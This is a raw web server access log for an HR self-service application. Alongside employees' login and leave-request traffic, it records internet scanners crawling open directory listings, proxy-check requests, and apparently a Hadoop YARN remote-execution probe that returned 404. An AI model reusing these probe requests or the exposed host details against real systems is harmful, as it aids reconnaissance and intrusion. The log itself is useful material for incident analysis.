10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.81 - - [29/Nov/2025:11:59:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.81 - - [29/Nov/2025:11:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.81 - - [29/Nov/2025:11:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.81 - - [29/Nov/2025:11:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.81 - - [29/Nov/2025:11:59:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.81 - - [29/Nov/2025:11:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3806009034880744 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3806009034880744 HTTP/1.1" 200 8420 192.168.11.81 - - [29/Nov/2025:11:59:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3806009034880744 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3806009034880744" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3806009034880744 HTTP/1.1" 200 11837 192.168.11.81 - - [29/Nov/2025:11:59:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4260 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [29/Nov/2025:11:59:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4260 100.64.0.1 - - [29/Nov/2025:12:01:37 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 100.64.0.1 - - [29/Nov/2025:12:01:37 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:08:12 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [29/Nov/2025:12:08:12 +0800] "\x03" 501 203 100.64.0.1 - - [29/Nov/2025:12:14:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:12:14:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:15:08 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [29/Nov/2025:12:15:08 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:15:12 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:12:15:12 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:12:15:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:15 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:15:15 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [29/Nov/2025:12:15:15 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [29/Nov/2025:12:15:16 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:16 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [29/Nov/2025:12:15:20 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:20 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:15:20 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:20 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 100.64.0.1 - - [29/Nov/2025:12:15:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [29/Nov/2025:12:15:27 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:27 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [29/Nov/2025:12:15:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [29/Nov/2025:12:15:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [29/Nov/2025:12:15:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [29/Nov/2025:12:15:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 100.64.0.1 - - [29/Nov/2025:12:15:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [29/Nov/2025:12:15:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [29/Nov/2025:12:15:48 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:12:15:48 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:12:15:49 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [29/Nov/2025:12:15:49 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [29/Nov/2025:12:16:43 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:12:16:43 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:12:56:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [29/Nov/2025:12:56:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [29/Nov/2025:13:00:15 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:00:15 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; U; Android 6.0.1; en-us; SM-G9350 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.1 Mobile Safari/537.36" 100.64.0.1 - - [29/Nov/2025:13:08:10 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [29/Nov/2025:13:08:10 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [29/Nov/2025:13:08:42 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [29/Nov/2025:13:08:42 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:12:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7" 100.64.0.1 - - [29/Nov/2025:13:12:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:13:40 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [29/Nov/2025:13:13:40 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - 100.64.0.1 - - [29/Nov/2025:13:13:40 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [29/Nov/2025:13:13:40 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - 192.168.12.38 - - [29/Nov/2025:13:13:42 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:13:42 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.38 - - [29/Nov/2025:13:13:43 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:13:43 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.38 - - [29/Nov/2025:13:13:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:13:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.38 - - [29/Nov/2025:13:13:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:13:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.38 - - [29/Nov/2025:13:13:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:13:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 100.64.0.1 - - [29/Nov/2025:13:14:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1" 100.64.0.1 - - [29/Nov/2025:13:14:09 +0800] "GET / HTTP/1.1" 200 439 192.168.12.38 - - [29/Nov/2025:13:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.12.38 - - [29/Nov/2025:13:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:14:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.38 - - [29/Nov/2025:13:14:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191037673182167 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:14:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191037673182167 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191037673182167 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191037673182167" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8191037673182167 HTTP/1.1" 200 252136 192.168.12.38 - - [29/Nov/2025:13:15:28 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17303980435685062 HTTP/1.1" 200 5264 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:28 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17303980435685062 HTTP/1.1" 200 5264 192.168.12.38 - - [29/Nov/2025:13:15:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4419 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4419 192.168.12.38 - - [29/Nov/2025:13:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.12.38 - - [29/Nov/2025:13:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" 